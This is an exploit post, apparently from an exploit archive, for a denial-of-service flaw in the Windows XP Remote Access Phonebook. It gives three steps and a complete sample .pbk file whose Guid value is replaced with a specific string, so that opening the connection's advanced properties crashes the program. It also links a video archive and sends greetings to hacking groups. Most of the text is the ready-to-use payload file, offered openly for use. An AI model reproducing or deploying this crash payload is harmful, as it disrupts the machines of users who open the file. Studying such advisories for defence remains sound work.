Remote Access Phonebook (.pbk) DoS Vulnerability

# Name: Remote Access Phonebook (.pbk) DoS Vulnerability
# Type: Windows
# Author: Mr.XHat
# Discovered By: Mr.XHat
# Tested On: Windows XP SP3 EN
##############################

# Exploit:

1- Create network connection(s)
2- Open pbk file with text editor(s) and replace this code (19540BD5BB9A144F9077DFC3A5A1EE74) in the guid value
3- Open pbk file and go to properties then advanced >>> DoS

# Example:


[Mr.XHat]
Encoding=1
Type=5
AutoLogon=0
UseRasCredentials=0
DialParamsUID=16238078
Guid=19540BD5BB9A144F9077DFC3A5A1EE74
BaseProtocol=1
VpnStrategy=0
ExcludedProtocols=3
LcpExtensions=1
DataEncryption=8
SwCompression=1
NegotiateMultilinkAlways=0
SkipNwcWarning=0
SkipDownLevelDialog=0
SkipDoubleDialDialog=0
DialMode=1
DialPercent=75
DialSeconds=120
HangUpPercent=10
HangUpSeconds=120
OverridePref=15
RedialAttempts=3
RedialSeconds=60
IdleDisconnectSeconds=0
RedialOnLinkFailure=1
CallbackMode=0
CustomDialDll=
CustomDialFunc=
CustomRasDialDll=
AuthenticateServer=0
ShareMsFilePrint=0
BindMsNetClient=0
SharedPhoneNumbers=0
GlobalDeviceSettings=0
PrerequisiteEntry=
PrerequisitePbk=
PreferredPort=
PreferredDevice=
PreferredBps=0
PreferredHwFlow=0
PreferredProtocol=0
PreferredCompression=0
PreferredSpeaker=0
PreferredMdmProtocol=0
PreviewUserPw=1
PreviewDomain=0
PreviewPhoneNumber=0
ShowDialingProgress=1
ShowMonitorIconInTaskBar=1
CustomAuthKey=-1
AuthRestrictions=632
TypicalAuth=1
IpPrioritizeRemote=1
IpHeaderCompression=0
IpAddress=0.0.0.0
IpDnsAddress=0.0.0.0
IpDns2Address=0.0.0.0
IpWinsAddress=0.0.0.0
IpWins2Address=0.0.0.0
IpAssign=1
IpNameAssign=1
IpFrameSize=1006
IpDnsFlags=0
IpNBTFlags=0
TcpWindowSize=0
UseFlags=1
IpSecFlags=0
IpDnsSuffix=
NETCOMPONENTS=
ms_server=0
ms_msclient=0
MEDIA=rastapi
Port=PPPoE4-0
Device=WAN Miniport (PPPOE)
DEVICE=PPPoE
PhoneNumber=
AreaCode=
CountryCode=1
CountryID=1
UseDialingRules=0
Comment=
LastSelectedPhone=0
PromoteAlternates=0
TryNextAlternateOnFail=1


# Video:

http://wind0ws.persiangig.com/DoS.rar
#####################################

# Greets To: Corelan Team, Inj3ct0r Team (1337day.com) And All Underground Hackers